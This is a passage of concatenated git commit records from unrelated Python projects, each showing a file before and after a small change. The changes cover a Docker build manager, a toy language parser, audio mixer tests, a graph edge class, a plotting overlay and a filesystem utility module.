        """
        build image from provided build_args

        :return: BuildResults
        """
        logger.info("build image")
        self._ensure_not_built()
        self.temp_dir = tempfile.mkdtemp()
        temp_path = os.path.join(self.temp_dir, BUILD_JSON)
        try:
            with open(temp_path, 'w') as build_json:
                json.dump(self.build_args, build_json)
            self.build_container_id = build_method(self.build_image, self.temp_dir)
            logs_gen = self.dt.logs(self.build_container_id, stream=True)
            wait_for_command(logs_gen)
            return_code = self.dt.wait(self.build_container_id)
            results = self._load_results(self.build_container_id)
            results.return_code = return_code
            return results
        finally:
            shutil.rmtree(self.temp_dir)

    def _load_results(self, container_id):
        """
        load results from recent build

        :return: BuildResults
        """
        if self.temp_dir:
            dt = DockerTasker()
            # FIXME: load results only when requested
            # results_path = os.path.join(self.temp_dir, RESULTS_JSON)
            # df_path = os.path.join(self.temp_dir, 'Dockerfile')
            # try:
            #     with open(results_path, 'r') as results_fp:
            #         results = json.load(results_fp, cls=BuildResultsJSONDecoder)
            # except (IOError, OSError) as ex:
            #     logger.error("Can't open results: '%s'", repr(ex))
            #     for l in self.dt.logs(self.build_container_id, stream=False):
            #         logger.debug(l.strip())
            #     raise RuntimeError("Can't open results: '%s'" % repr(ex))
            # results.dockerfile = open(df_path, 'r').read()
            results = BuildResults()
            results.build_logs = dt.logs(container_id, stream=False)
            results.container_id = container_id
            return results

    def commit_buildroot(self):
        """
        create image from buildroot

        :return:
        """
        logger.info("commit buildroot")
        self._ensure_is_built()
        # save the time when image was built
        self.buildroot_image_tag = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')

        commit_message = "docker build of '%s' (%s)" % (self.image, self.git_url)
        self.buildroot_image_name = "buildroot-%s" % self.image
        self.buildroot_image_id = self.dt.commit_container(self.build_container_id, commit_message)
        return self.buildroot_image_id

    def push_buildroot(self, registry):
        logger.info("push buildroot to registry")
        self._ensure_is_built()
        return self.dt.tag_and_push_image(
            self.buildroot_image_id,
            self.buildroot_image_name,
            reg_uri=registry,
            tag=self.buildroot_image_tag)

class PrivilegedBuildManager(BuildManager):
    def build(self):
        w = BuildContainerFactory()
        return super(PrivilegedBuildManager, self)._build(
            partial(BuildContainerFactory.build_image_privileged_container, w))

class DockerhostBuildManager(BuildManager):
    def build(self):
        w = BuildContainerFactory()
        return super(DockerhostBuildManager, self)._build(
            partial(BuildContainerFactory.build_image_dockerhost, w))
<commit_msg>remove build container if user hits ctrl+c<commit_after>"""

"""
from functools import partial
import json
import os
import shutil
import tempfile
import datetime
import logging

from dock.constants import BUILD_JSON, RESULTS_JSON
from dock.build import BuilderStateMachine
from dock.core import DockerTasker, BuildContainerFactory
from dock.inner import BuildResultsJSONDecoder, BuildResults
from dock.util import wait_for_command

logger = logging.getLogger(__name__)

class BuildManager(BuilderStateMachine):
    """
    initiates build and waits for it to finish, then it collects data
    """
    def __init__(self, build_image, build_args):
        BuilderStateMachine.__init__(self)
        self.build_image = build_image
        self.build_args = build_args
        self.image = build_args['image']
        self.git_url = build_args['git_url']

        self.temp_dir = None
        # build image after build
        self.buildroot_image_id = None
        self.buildroot_image_tag = None
        self.buildroot_image_name = None
        self.dt = DockerTasker()

    def _build(self, build_method):
        """
        build image from provided build_args

        :return: BuildResults
        """
        logger.info("build image")
        self._ensure_not_built()
        self.temp_dir = tempfile.mkdtemp()
        temp_path = os.path.join(self.temp_dir, BUILD_JSON)
        try:
            with open(temp_path, 'w') as build_json:
                json.dump(self.build_args, build_json)
            self.build_container_id = build_method(self.build_image, self.temp_dir)
            try:
                logs_gen = self.dt.logs(self.build_container_id, stream=True)
                wait_for_command(logs_gen)
                return_code = self.dt.wait(self.build_container_id)
            except KeyboardInterrupt:
                logger.info("Killing build container on user's request")
                self.dt.remove_container(self.build_container_id, force=True)
                results = BuildResults()
                results.return_code = 1
                return results
            else:
                results = self._load_results(self.build_container_id)
                results.return_code = return_code
                return results
        finally:
            shutil.rmtree(self.temp_dir)

    def _load_results(self, container_id):
        """
        load results from recent build

        :return: BuildResults
        """
        if self.temp_dir:
            dt = DockerTasker()
            # FIXME: load results only when requested
            # results_path = os.path.join(self.temp_dir, RESULTS_JSON)
            # df_path = os.path.join(self.temp_dir, 'Dockerfile')
            # try:
            #     with open(results_path, 'r') as results_fp:
            #         results = json.load(results_fp, cls=BuildResultsJSONDecoder)
            # except (IOError, OSError) as ex:
            #     logger.error("Can't open results: '%s'", repr(ex))
            #     for l in self.dt.logs(self.build_container_id, stream=False):
            #         logger.debug(l.strip())
            #     raise RuntimeError("Can't open results: '%s'" % repr(ex))
            # results.dockerfile = open(df_path, 'r').read()
            results = BuildResults()
            results.build_logs = dt.logs(container_id, stream=False)
            results.container_id = container_id
            return results

    def commit_buildroot(self):
        """
        create image from buildroot

        :return:
        """
        logger.info("commit buildroot")
        self._ensure_is_built()
        # save the time when image was built
        self.buildroot_image_tag = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')

        commit_message = "docker build of '%s' (%s)" % (self.image, self.git_url)
        self.buildroot_image_name = "buildroot-%s" % self.image
        self.buildroot_image_id = self.dt.commit_container(self.build_container_id, commit_message)
        return self.buildroot_image_id

    def push_buildroot(self, registry):
        logger.info("push buildroot to registry")
        self._ensure_is_built()
        return self.dt.tag_and_push_image(
            self.buildroot_image_id,
            self.buildroot_image_name,
            reg_uri=registry,
            tag=self.buildroot_image_tag)

class PrivilegedBuildManager(BuildManager):
    def build(self):
        w = BuildContainerFactory()
        return super(PrivilegedBuildManager, self)._build(
            partial(BuildContainerFactory.build_image_privileged_container, w))

class DockerhostBuildManager(BuildManager):
    def build(self):
        w = BuildContainerFactory()
        return super(DockerhostBuildManager, self)._build(
            partial(BuildContainerFactory.build_image_dockerhost, w))
<|endoftext|>


<commit_before>from thinglang.common import Describeable, ValueType
from thinglang.lexer.lexical_tokens import LexicalIdentifier

class BaseToken(Describeable):
    BLOCK = False

    def __init__(self, slice):
        self.children = []
        self.indent = 0
        self.value = None
        self.raw_slice = slice
        if slice:
            self.context = slice[0].context

    def attach(self, child):
        self.children.append(child)
        child.parent = self

    def find(self, name):
        for child in self.children:
            if child.value == name:
                return child

    def tree(self, depth=1):
        separator = ('\n' if self.children else '') + ('\t' * depth)
        return '{}({}){}{}'.format(type(self).__name__, self.describe(), separator,
                                   separator.join(child.tree(depth=depth + 1) for child in self.children))

    def describe(self):
        return self.value if self.value is not None else ''

class RootToken(BaseToken):
    BLOCK = True

class DefinitionPairToken(BaseToken):
    def __init__(self, slice):
        super(DefinitionPairToken, self).__init__(slice)
        self.value = slice[1].value

class ThingDefinition(DefinitionPairToken): pass

class MethodDefinition(DefinitionPairToken):
    def __init__(self, slice):
        super(MethodDefinition, self).__init__(slice)

        if isinstance(slice[2], ArgumentList):
            self.arguments = slice[2].value
        else:
            self.arguments = []

    def describe(self):
        return '{}, args={}'.format(self.value, self.arguments)

class Pointer(BaseToken): pass

class Access(Pointer):
    def __init__(self, slice):
        super(Access, self).__init__(slice)
        self.value = [x.value for x in slice if isinstance(x, LexicalIdentifier)]

class String(ValueType):
    def __init__(self, value):
        self.value = value

    def evaluate(self, stack):
        return self.value

class ArgumentListPartial(BaseToken):
    def __init__(self, slice):
        super(ArgumentListPartial, self).__init__(slice)
        if isinstance(slice[0], ArgumentListPartial):
            self.value = slice[0].value + [slice[2]]
        else:
            self.value = [slice[1]]

class ArgumentList(BaseToken):
    def __init__(self, slice):
        super(ArgumentList, self).__init__(slice)
        if isinstance(slice[0], ArgumentListPartial):
            self.value = slice[0].value
        else:
            self.value = []

    def evaluate(self, stack):
        return [value.evaluate(stack) for value in self.value]

class ProcessedIndent(BaseToken):
    def __init__(self, size, slice):
        super(ProcessedIndent, self).__init__(slice)
        self.value = size

class MethodCall(BaseToken):
    def __init__(self, slice):
        super(MethodCall, self).__init__(slice)
        self.target, self.arguments = slice

        if not self.arguments:
            self.arguments = []

    def describe(self):
        return 'target={}, args={}'.format(self.target, self.arguments)

class ArithmeticOperation(BaseToken, ValueType):
    OPERATIONS = {
        "+": lambda rhs, lhs: rhs + lhs,
        "*": lambda rhs, lhs: rhs * lhs,
        "-": lambda rhs, lhs: rhs - lhs,
        "/": lambda rhs, lhs: rhs / lhs
    }

    def __init__(self, slice):
        super(ArithmeticOperation, self).__init__(slice)
        self.lhs, self.operator, self.rhs = slice

    def evaluate(self, stack):
        return self.OPERATIONS[self.operator.operator](self.lhs.evaluate(stack), self.rhs.evaluate(stack))

class ArithmeticAdd(BaseToken):
    def evaluate(self, left, right):
        return left.evaluate() + right.evaluate()

class AssignmentOperation(BaseToken):
    DECELERATION = object()
    REASSIGNMENT = object()

    def __init__(self, slice):
        super(AssignmentOperation, self).__init__(slice)
        if len(slice) == 4:
            self.type, self.name, _, self.value = slice
            self.method = self.DECELERATION
        else:
            self.name, _, self.value = slice
            self.method = self.REASSIGNMENT
            self.type = 'INDETERMINATE'

    def describe(self):
        return '{} {} = {}'.format(self.type, self.name, self.value)

    def execute(self, stack):
        if self.method is self.DECELERATION:
            assert self.name.value not in stack, 'variable {} declaration but was found in stack'.format(self.name.value)
        else:
            assert self.name.value in stack, 'variable {} reassignment but is not in stack {}'.format(self.name.value, self.context)

        stack[self.name.value] = self.value.evaluate(stack)
<commit_msg>Return statement parser token<commit_after>from thinglang.common import Describeable, ValueType
from thinglang.lexer.lexical_tokens import LexicalIdentifier

class BaseToken(Describeable):
    BLOCK = False

    def __init__(self, slice):
        self.children = []
        self.indent = 0
        self.value = None
        self.raw_slice = slice
        if slice:
            self.context = slice[0].context

    def attach(self, child):
        self.children.append(child)
        child.parent = self

    def find(self, name):
        for child in self.children:
            if child.value == name:
                return child

    def tree(self, depth=1):
        separator = ('\n' if self.children else '') + ('\t' * depth)
        return '{}({}){}{}'.format(type(self).__name__, self.describe(), separator,
                                   separator.join(child.tree(depth=depth + 1) for child in self.children))

    def describe(self):
        return self.value if self.value is not None else ''

class RootToken(BaseToken):
    BLOCK = True

class DefinitionPairToken(BaseToken):
    def __init__(self, slice):
        super(DefinitionPairToken, self).__init__(slice)
        self.value = slice[1].value

class ThingDefinition(DefinitionPairToken): pass

class MethodDefinition(DefinitionPairToken):
    def __init__(self, slice):
        super(MethodDefinition, self).__init__(slice)

        if isinstance(slice[2], ArgumentList):
            self.arguments = slice[2].value
        else:
            self.arguments = []

    def describe(self):
        return '{}, args={}'.format(self.value, self.arguments)

class Pointer(BaseToken): pass

class Access(Pointer):
    def __init__(self, slice):
        super(Access, self).__init__(slice)
        self.value = [x.value for x in slice if isinstance(x, LexicalIdentifier)]

class String(ValueType):
    def __init__(self, value):
        self.value = value

    def evaluate(self, stack):
        return self.value

class ArgumentListPartial(BaseToken):
    def __init__(self, slice):
        super(ArgumentListPartial, self).__init__(slice)
        if isinstance(slice[0], ArgumentListPartial):
            self.value = slice[0].value + [slice[2]]
        else:
            self.value = [slice[1]]

class ArgumentList(BaseToken):
    def __init__(self, slice):
        super(ArgumentList, self).__init__(slice)
        if isinstance(slice[0], ArgumentListPartial):
            self.value = slice[0].value
        else:
            self.value = []

    def evaluate(self, stack):
        return [value.evaluate(stack) for value in self.value]

class ProcessedIndent(BaseToken):
    def __init__(self, size, slice):
        super(ProcessedIndent, self).__init__(slice)
        self.value = size

class MethodCall(BaseToken):
    def __init__(self, slice):
        super(MethodCall, self).__init__(slice)
        self.target, self.arguments = slice

        if not self.arguments:
            self.arguments = []

    def describe(self):
        return 'target={}, args={}'.format(self.target, self.arguments)

class ArithmeticOperation(BaseToken, ValueType):
    OPERATIONS = {
        "+": lambda rhs, lhs: rhs + lhs,
        "*": lambda rhs, lhs: rhs * lhs,
        "-": lambda rhs, lhs: rhs - lhs,
        "/": lambda rhs, lhs: rhs / lhs
    }

    def __init__(self, slice):
        super(ArithmeticOperation, self).__init__(slice)
        self.lhs, self.operator, self.rhs = slice

    def evaluate(self, stack):
        return self.OPERATIONS[self.operator.operator](self.lhs.evaluate(stack), self.rhs.evaluate(stack))

class ArithmeticAdd(BaseToken):
    def evaluate(self, left, right):
        return left.evaluate() + right.evaluate()

class AssignmentOperation(BaseToken):
    DECELERATION = object()
    REASSIGNMENT = object()

    def __init__(self, slice):
        super(AssignmentOperation, self).__init__(slice)
        if len(slice) == 4:
            self.type, self.name, _, self.value = slice
            self.method = self.DECELERATION
        else:
            self.name, _, self.value = slice
            self.method = self.REASSIGNMENT
            self.type = 'INDETERMINATE'

    def describe(self):
        return '{} {} = {}'.format(self.type, self.name, self.value)

    def execute(self, stack):
        if self.method is self.DECELERATION:
            assert self.name.value not in stack, 'variable {} declaration but was found in stack'.format(self.name.value)
        else:
            assert self.name.value in stack, 'variable {} reassignment but is not in stack {}'.format(self.name.value, self.context)

        stack[self.name.value] = self.value.evaluate(stack)

class ReturnStatement(DefinitionPairToken):
    def __init__(self, slice):
        super().__init__(slice)
        self.value = slice[1]<|endoftext|>


<commit_before>import unittest

from lib.errors.configuration_error import ConfigurationError
from tests.helper.voctomix_test import VoctomixTest
from lib.audiomix import AudioMix
from lib.config import Config

# noinspection PyUnusedLocal
class AudiomixMultipleSources(VoctomixTest):
    def test_no_configured_audiosource_sets_first_to_full(self):
        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [1.0, 0.0, 0.0])

    def test_audiosource_sets_source_volume_to_full(self):
        Config.given("mix", "audiosource", "cam2")

        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [0.0, 1.0, 0.0])

    def test_per_source_volumes_set_volumes_to_configured_level(self):
        Config.given("source.cam1", "volume", "0.23")
        Config.given("source.cam2", "volume", "0.0")
        Config.given("source.grabber", "volume", "0.42")

        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [0.23, 0.0, 0.42])

    def test_audiosource_together_with_per_source_volumes_for_the_same_source_raise_an_error(self):
        Config.given("mix", "audiosource", "cam1")
        Config.given("source.cam1", "volume", "0.23")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

    def test_audiosource_together_with_per_source_volumes_for_different_sources_raise_an_error(self):
        Config.given("mix", "audiosource", "cam2")
        Config.given("source.cam1", "volume", "0.23")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

    def test_fails_with_invalid_audiosource(self):
        Config.given("mix", "audiosource", "camInvalid")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

if __name__ == '__main__':
    unittest.main()
<commit_msg>wording in test-files<commit_after>import unittest

from lib.errors.configuration_error import ConfigurationError
from tests.helper.voctomix_test import VoctomixTest
from lib.audiomix import AudioMix
from lib.config import Config

# noinspection PyUnusedLocal
class AudiomixMultipleSources(VoctomixTest):
    def test_no_configured_audiosource_sets_first_to_full(self):
        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [1.0, 0.0, 0.0])

    def test_audiosource_sets_source_volume_to_full(self):
        Config.given("mix", "audiosource", "cam2")

        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [0.0, 1.0, 0.0])

    def test_per_source_volumes_set_volumes_to_configured_level(self):
        Config.given("source.cam1", "volume", "0.23")
        Config.given("source.cam2", "volume", "0.0")
        Config.given("source.grabber", "volume", "0.42")

        audiomixer = AudioMix()

        self.assertListEqual(audiomixer.names, ["cam1", "cam2", "grabber"])
        self.assertListEqual(audiomixer.volumes, [0.23, 0.0, 0.42])

    def test_audiosource_together_with_per_source_volumes_for_the_same_source_raises_an_error(self):
        Config.given("mix", "audiosource", "cam1")
        Config.given("source.cam1", "volume", "0.23")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

    def test_audiosource_together_with_per_source_volumes_for_different_sources_raises_an_error(self):
        Config.given("mix", "audiosource", "cam2")
        Config.given("source.cam1", "volume", "0.23")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

    def test_invalid_audiosource_raises_an_error(self):
        Config.given("mix", "audiosource", "camInvalid")

        with self.assertRaises(ConfigurationError):
            audiomixer = AudioMix()

if __name__ == '__main__':
    unittest.main()
<|endoftext|>


<commit_before>__version__ = '0.1.69'
<commit_msg>[change-version] changing initial version to 1.0.0<commit_after>__version__ = '1.0.0'
<|endoftext|>


<commit_before>class Edge:
    ''' Represents an edge in a graph '''
    def __init__(self, node_1, node_2, weight):
        """
        Create Edge

        @type  node1: node
        @param node1: Node on one end of the edge

        @type  node2: node
        @param node2: Node on the other end of the edge

        @type   weight: number
        @param  weight: Edge weight
        """
        self.node_1 = node_1
        self.node_2 = node_2
        self.weight = float(weight)

    def get_id(self):
        return id(self)

    def __eq__(self, other):
        return self.id == other.id

    def __lt__(self, other):
        # if the weights are the same, just compare the ids
        if self.weight == other.weight:
            return self.id < other.id
        else:
            return self.weight < other.weight

    def __hash__(self):
        return hash(id(self))

    id = property(get_id)
<commit_msg>Weight has to be an integer, we can't handle floating points<commit_after>class Edge:
    ''' Represents an edge in a graph '''
    def __init__(self, node_1, node_2, weight):
        """
        Create Edge

        @type  node1: node
        @param node1: Node on one end of the edge

        @type  node2: node
        @param node2: Node on the other end of the edge

        @type   weight: int
        @param  weight: Edge weight
        """
        self.node_1 = node_1
        self.node_2 = node_2
        self.weight = int(round(weight, 0))

    def get_id(self):
        return id(self)

    def __eq__(self, other):
        return self.id == other.id

    def __lt__(self, other):
        # if the weights are the same, just compare the ids
        if self.weight == other.weight:
            return self.id < other.id
        else:
            return self.weight < other.weight

    def __hash__(self):
        return hash(id(self))

    id = property(get_id)
<|endoftext|>


<commit_before>
# Major library imports
from numpy import array

# Enthought library imports
from enthought.enable.api import ColorTrait
from enthought.traits.api import Float, Int, Str, Trait

# Local, relative imports
from abstract_overlay import AbstractOverlay
from scatter_markers import marker_trait
from scatterplot import render_markers

class ScatterInspectorOverlay(AbstractOverlay):
    """
    Highlights points on a scatterplot as the mouse moves over them.
    Can render the points in a different style, as well as display a
    DataLabel.

    Used in conjuction with ScatterInspector.
    """

    # The style to use when a point is hovered over
    hover_metadata_name = Str('hover')
    hover_marker = Trait(None, None, marker_trait)
    hover_marker_size = Trait(None, None, Int)
    hover_line_width = Trait(None, None, Float)
    hover_color = Trait(None, None, ColorTrait)
    hover_outline_color = Trait(None, None, ColorTrait)

    # The style to use when a point has been selected by a click
    selection_metadata_name = Str('selections')
    selection_marker = Trait(None, None, marker_trait)
    selection_marker_size = Trait(None, None, Int)
    selection_line_width = Trait(None, None, Float)
    selection_color = Trait(None, None, ColorTrait)
    selection_outline_color = Trait(None, None, ColorTrait)

    # For now, implement the equivalent of this Traits 3 feature manually
    # using a series of trait change handlers (defined at the end of the
    # class)
    #@on_trait_change('component.index.metadata_changed,component.value.metadata_changed')
    def metadata_changed(self, object, name, old, new):
        if self.component is not None:
            self.component.request_redraw()
        return

    def overlay(self, component, gc, view_bounds=None, mode="normal"):
        plot = self.component
        if not plot or not plot.index or not plot.value:
            return

        for inspect_type in (self.hover_metadata_name, self.selection_metadata_name):
            if inspect_type in plot.index.metadata and inspect_type in plot.value.metadata:
                index = plot.index.metadata.get(inspect_type, None)
                # FIXME: In order to work around some problems with the
                # selection model, we will only use the selection on the index.
                # The assumption that they are the same is implicit, though
                # unchecked, already.
                #value = plot.value.metadata.get(inspect_type, None)
                value = index

                if index is not None:
                    screen_pts = plot.map_screen(array((plot.index.get_data()[index],
                                                       plot.value.get_data()[value])).T)

                    if inspect_type == self.selection_metadata_name:
                        prefix = "selection"
                    else:
                        prefix = "hover"
                    self._render_at_indices(gc, screen_pts, prefix)
        return

    def _render_at_indices(self, gc, screen_pts, inspect_type):
        """ screen_pt should always be a list """
        self._render_marker_at_indices(gc, screen_pts, inspect_type)

    def _render_marker_at_indices(self, gc, screen_pts, prefix, sep="_"):
        """ screen_pt should always be a list """
        plot = self.component

        mapped_attribs = ("color", "outline_color", "marker")
        other_attribs = ("marker_size", "line_width")
        kwargs = {}
        for attr in mapped_attribs + other_attribs:
            if attr in mapped_attribs:
                # Resolve the mapped trait
                valname = attr + "_"
            else:
                valname = attr

            tmp = getattr(self, prefix+sep+valname)
            if tmp is not None:
                kwargs[attr] = tmp
            else:
                kwargs[attr] = getattr(plot, valname)

        # If the marker type is 'custom', we have to pass in the custom_symbol
        # kwarg to render_markers.
        if kwargs.get("marker", None) == "custom":
            kwargs["custom_symbol"] = plot.custom_symbol

        gc.save_state()
        gc.clip_to_rect(plot.x, plot.y, plot.width, plot.height)
        render_markers(gc, screen_pts, **kwargs)
        gc.restore_state()

    def _draw_overlay(self, gc, view_bounds=None, mode="normal"):
        self.overlay(self.component, gc, view_bounds, mode)

    def _component_changed(self, old, new):
        if old:
            old.on_trait_change(self._ds_changed, 'index', remove=True)
            old.on_trait_change(self._ds_changed, 'value', remove=True)
        if new:
            new.on_trait_change(self._ds_changed, 'index')
            new.on_trait_change(self._ds_changed, 'value')
            if new.index:
                self._ds_changed(new, 'index', None, new.index)
            if new.value:
                self._ds_changed(new, 'value', None, new.value)
        return

    def _ds_changed(self, object, name, old, new):
        if old:
            old.on_trait_change(self.metadata_changed, 'metadata_changed', remove=True)
        if new:
            new.on_trait_change(self.metadata_changed, 'metadata_changed')
        return

<commit_msg>adding some more safeguards to scatter_inspector_overlay to better handle the cases when metadata indices are empty<commit_after>
# Major library imports
from numpy import array

# Enthought library imports
from enthought.enable.api import ColorTrait
from enthought.traits.api import Float, Int, Str, Trait

# Local, relative imports
from abstract_overlay import AbstractOverlay
from scatter_markers import marker_trait
from scatterplot import render_markers

class ScatterInspectorOverlay(AbstractOverlay):
    """
    Highlights points on a scatterplot as the mouse moves over them.
    Can render the points in a different style, as well as display a
    DataLabel.

    Used in conjuction with ScatterInspector.
    """

    # The style to use when a point is hovered over
    hover_metadata_name = Str('hover')
    hover_marker = Trait(None, None, marker_trait)
    hover_marker_size = Trait(None, None, Int)
    hover_line_width = Trait(None, None, Float)
    hover_color = Trait(None, None, ColorTrait)
    hover_outline_color = Trait(None, None, ColorTrait)

    # The style to use when a point has been selected by a click
    selection_metadata_name = Str('selections')
    selection_marker = Trait(None, None, marker_trait)
    selection_marker_size = Trait(None, None, Int)
    selection_line_width = Trait(None, None, Float)
    selection_color = Trait(None, None, ColorTrait)
    selection_outline_color = Trait(None, None, ColorTrait)

    # For now, implement the equivalent of this Traits 3 feature manually
    # using a series of trait change handlers (defined at the end of the
    # class)
    #@on_trait_change('component.index.metadata_changed,component.value.metadata_changed')
    def metadata_changed(self, object, name, old, new):
        if self.component is not None:
            self.component.request_redraw()
        return

    def overlay(self, component, gc, view_bounds=None, mode="normal"):
        plot = self.component
        if not plot or not plot.index or not plot.value:
            return

        for inspect_type in (self.hover_metadata_name, self.selection_metadata_name):
            if inspect_type in plot.index.metadata and inspect_type in plot.value.metadata:
                index = plot.index.metadata.get(inspect_type, None)

                if index is not None and len(index) > 0:
                    index_data = plot.index.get_data()
                    value_data = plot.value.get_data()

                    # Only grab the indices which fall within the data range.
                    index = index[index < len(index_data)]

                    # FIXME: In order to work around some problems with the
                    # selection model, we will only use the selection on the
                    # index.  The assumption that they are the same is
                    # implicit, though unchecked, already.
                    #value = plot.value.metadata.get(inspect_type, None)
                    value = index

                    screen_pts = plot.map_screen(array((index_data[index],
                                                        value_data[value])).T)

                    if inspect_type == self.selection_metadata_name:
                        prefix = "selection"
                    else:
                        prefix = "hover"
                    self._render_at_indices(gc, screen_pts, prefix)
        return

    def _render_at_indices(self, gc, screen_pts, inspect_type):
        """ screen_pt should always be a list """
        self._render_marker_at_indices(gc, screen_pts, inspect_type)

    def _render_marker_at_indices(self, gc, screen_pts, prefix, sep="_"):
        """ screen_pt should always be a list """
        plot = self.component

        mapped_attribs = ("color", "outline_color", "marker")
        other_attribs = ("marker_size", "line_width")
        kwargs = {}
        for attr in mapped_attribs + other_attribs:
            if attr in mapped_attribs:
                # Resolve the mapped trait
                valname = attr + "_"
            else:
                valname = attr

            tmp = getattr(self, prefix+sep+valname)
            if tmp is not None:
                kwargs[attr] = tmp
            else:
                kwargs[attr] = getattr(plot, valname)

        # If the marker type is 'custom', we have to pass in the custom_symbol
        # kwarg to render_markers.
        if kwargs.get("marker", None) == "custom":
            kwargs["custom_symbol"] = plot.custom_symbol

        gc.save_state()
        gc.clip_to_rect(plot.x, plot.y, plot.width, plot.height)
        render_markers(gc, screen_pts, **kwargs)
        gc.restore_state()

    def _draw_overlay(self, gc, view_bounds=None, mode="normal"):
        self.overlay(self.component, gc, view_bounds, mode)

    def _component_changed(self, old, new):
        if old:
            old.on_trait_change(self._ds_changed, 'index', remove=True)
            old.on_trait_change(self._ds_changed, 'value', remove=True)
        if new:
            new.on_trait_change(self._ds_changed, 'index')
            new.on_trait_change(self._ds_changed, 'value')
            if new.index:
                self._ds_changed(new, 'index', None, new.index)
            if new.value:
                self._ds_changed(new, 'value', None, new.value)
        return

    def _ds_changed(self, object, name, old, new):
        if old:
            old.on_trait_change(self.metadata_changed, 'metadata_changed', remove=True)
        if new:
            new.on_trait_change(self.metadata_changed, 'metadata_changed')
        return

<|endoftext|>


<commit_before># -*- coding: UTF-8 -*-

## A module unified all file system related stuffs.
#
# @date: 2011-11-13
# @author: starofrainnight

import rabird.compatible
import os
import sys
import shutil
import jaraco.windows.filesystem

class option_t(object):
	NONE = 0

	## If we do recursive on directories? Only effect on directory operation.
	# Note : It only effect on directory remove operation.
	RECURSIVE = 1

	## Ignored any errors we met when we doing an operation.
	IGNORE_ERRORS = 2

	## Unused
	FORCE = 4

	## Follow symbolic links when doing copy operations
	FOLLOW_SYMBOLIC_LINKS = 8

class path_t(rabird.compatible.unicode_t):
	def __init__(self, path=u""):
		super(path_t, self).__init__()

		## Internal path string, must be in unicode format.
		self.__path = unicode(path)

	## Support str(path object) or unicode(path object), they are all return
	# an unicode object, actually rabird library is only support unicode
	# string!
	def __unicode__(self):
		return self.__path

	def __div__(self, rhs):
		self.__path = os.path.join(self.__path, unicode(rhs))
		return self

	def clear(self):
		self.__path = u""

# Python 2.x in win32 do not support link operations, so we use jaraco.window to
# add this support.
if ( sys.version_info.major <= 2 ) and ( sys.platform == "win32" ):
	if not hasattr(os, 'symlink'):
		os.symlink = lambda from_path, to_symbolic_link_path: (
			jaraco.windows.filesystem.symlink( from_path, to_symbolic_link_path, is_directory(from_path) )
			)
		os.path.islink = jaraco.windows.filesystem.islink

	if not hasattr(os, 'readlink'):
		os.readlink = jaraco.windows.filesystem.readlink

	if not hasattr(os, 'link'):
		os.link = jaraco.windows.filesystem.link

def change_current_path(path):
	os.chdir(str(path))

def create_directories(path):
	os.makedirs(str(path))

def create_directory(path):
	os.mkdir(str(path))

## Create a hard link ( unimplemented )
def create_hard_link(from_path, to_hard_link_path):
	os.link(str(from_path), str(to_hard_link_path))

## Create a symbolic link ( unimplemented )
def create_symbolic_link(from_path, to_symbol_link_path):
	os.symlink(str(from_path), str(to_symbol_link_path))

def copy(from_path, to_path, options = option_t.NONE ):
	from_path = str(from_path)
	to_path = str(to_path)
	if is_directory(from_path):
		shutil.copytree(
			from_path,
			to_path,
			not (options & option_t.FOLLOW_SYMBOLIC_LINKS) )
	else:
		shutil.copy2(from_path, to_path)

def read_symbolic_link(path):
	os.readlink(str(path))

## Remove target path
#
# @param [in] path: Target path we need to remove
# @param [in] options: A series options to control the remove behaviors.
# @see option_t.
# @param [in] on_error: A callable object that could receive errors. It
# is only valid when path is a directory and options contained IGNORE_ERRORS
# and RECURSIVE.
# @see shutil.rmtree()
def remove(path, options=option_t.NONE, on_error=None):
	path_string = str(path)

	if is_directory(path_string):
		if options & option_t.RECURSIVE:
			if options & option_t.IGNORE_ERRORS:
				shutil.rmtree(path_string, True, on_error)
			else:
				shutil.rmtree(path_string, False, on_error)
		else:
			os.rmdir(path_string)
	else:
		os.remove(path_string)

def current_path():
	return os.getcwdu();

def file_size(path):
	return os.path.getsize(path)

def exists(path):
	return os.path.exists(str(path))

def equivalent(path1, path2):
	path1 = str(path1)
	path2 = str(path2)

	if is_symbolic_link(path1):
		path1 = read_symbolic_link(path1)

	if is_symbolic_link(path2):
		path2 = read_symbolic_link(path2)

	return os.path.realpath(path1) == os.path.realpath(path2)

# Override os.path.samefile, it have not be supported in win32 with python 2.x.
if ( sys.version_info.major <= 2 ) and ( sys.platform == 'win32' ):
	if not hasattr(os.path, 'samefile'):
		os.path.samefile = equivalent

def is_directory(path):
	return os.path.isdir(str(path))

def is_regular_file(path):
	return os.path.isfile(str(path))

def is_symbolic_link(path):
	return os.path.islink(str(path))

def is_other(path):
	return (
		exists(path)
		and (not is_regular_file(path))
		and (not is_directory(path))
		and (not is_symbolic_link(path))
		)

def rename(old_path, new_path):
	os.rename(old_path, new_path)

<commit_msg>Added more detail comments about why we do not have some hard link operations<commit_after># -*- coding: UTF-8 -*-

## A module unified all file system related stuffs.
#
# @note We have read_symbolic_link() implementation, but do not have a
# read_hard_link() implementation and related stuffs. why? Because the hard link
# just linked to the file object and do not record the original path, though
# each hard link will be target to the same object, but it just act like a real
# file without original path we linked to. So ...
#
# @date: 2011-11-13
# @author: starofrainnight

import rabird.compatible
import os
import sys
import shutil
import jaraco.windows.filesystem

class option_t(object):
	NONE = 0

	## If we do recursive on directories? Only effect on directory operation.
	# Note : It only effect on directory remove operation.
	RECURSIVE = 1

	## Ignored any errors we met when we doing an operation.
	IGNORE_ERRORS = 2

	## Unused
	FORCE = 4

	## Follow symbolic links when doing copy operations
	FOLLOW_SYMBOLIC_LINKS = 8

class path_t(rabird.compatible.unicode_t):
	def __init__(self, path=u""):
		super(path_t, self).__init__()

